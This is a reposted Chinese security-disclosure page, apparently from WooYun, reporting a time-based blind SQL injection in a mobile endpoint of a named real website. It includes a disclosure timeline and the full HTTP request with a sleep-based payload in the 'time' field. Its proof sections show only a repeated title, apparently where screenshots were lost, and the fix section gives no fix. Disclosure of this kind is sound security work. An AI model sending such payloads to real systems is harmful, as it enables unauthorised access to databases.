神刀安全网

漏洞标题: 中关村某站一处SQL注入(近上千个表)

漏洞详情

披露状态:

2016-04-05: 细节已通知厂商并且等待厂商处理中
2016-04-06: 厂商已经确认,细节仅向厂商公开
2016-04-16: 细节向核心白帽子及相关领域专家公开
2016-04-26: 细节向普通白帽子公开
2016-05-06: 细节向实习白帽子公开
2016-05-21: 细节向公众公开

简要描述:

APP安全之SQL注入

详细说明:

目标:direct.wap.zol.com.cn

检测发现以下地方存在SQL注入:(POST中的time,时间盲注)

code 区域
POST http://direct.wap.zol.com.cn/ipj/readCalender/uploadRecord/ HTTP/1.1
Content-Type: application/json
Content-Length: 177
X-Requested-With: XMLHttpRequest
Referer: http://direct.wap.zol.com.cn/ipj/readCalender/uploadRecord
Cookie: imei=A0000038518D0C
Host: direct.wap.zol.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

{"date":"2016-04-02","readList":[{"docId":5695001,"docTitle":"高像素之争 佳能EOS 5DSR对比索尼A7RⅡ","docType":0,"time":"2016-04-02 11:38:31"}],"ssid":"dfd542b1b1c7d1c"}

Payload:(延时3秒)

code 区域
POST http://direct.wap.zol.com.cn/ipj/readCalender/uploadRecord/ HTTP/1.1
Content-Type: application/json
Content-Length: 177
X-Requested-With: XMLHttpRequest
Referer: http://direct.wap.zol.com.cn/ipj/readCalender/uploadRecord
Cookie: imei=A0000038518D0C
Host: direct.wap.zol.com.cn
Connection: Keep-alive
Accept-Encoding: gzip,deflate
User-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21
Accept: */*

{"date":"2016-04-02","readList":[{"docId":5695001,"docTitle":"高像素之争 佳能EOS 5DSR对比索尼A7RⅡ","docType":0,"time":"2016-04-02 11:38:31' and sleep(3)=3 and '"}],"ssid":"dfd542b1b1c7d1c"}

漏洞证明:

1、当前数据库用户

漏洞标题:  中关村某站一处SQL注入(近上千个表)

2、所有数据库

漏洞标题:  中关村某站一处SQL注入(近上千个表)

3、当前库数据表,近上千个,具体就不深入了~

漏洞标题:  中关村某站一处SQL注入(近上千个表)

修复方案:

请多指教~

版权声明:转载请注明来源 路人甲@乌云

转载本站任何文章请注明:转载至神刀安全网,谢谢神刀安全网 » 漏洞标题: 中关村某站一处SQL注入(近上千个表)

分享到:更多 ()

评论 抢沙发

  • 昵称 (必填)
  • 邮箱 (必填)
  • 网址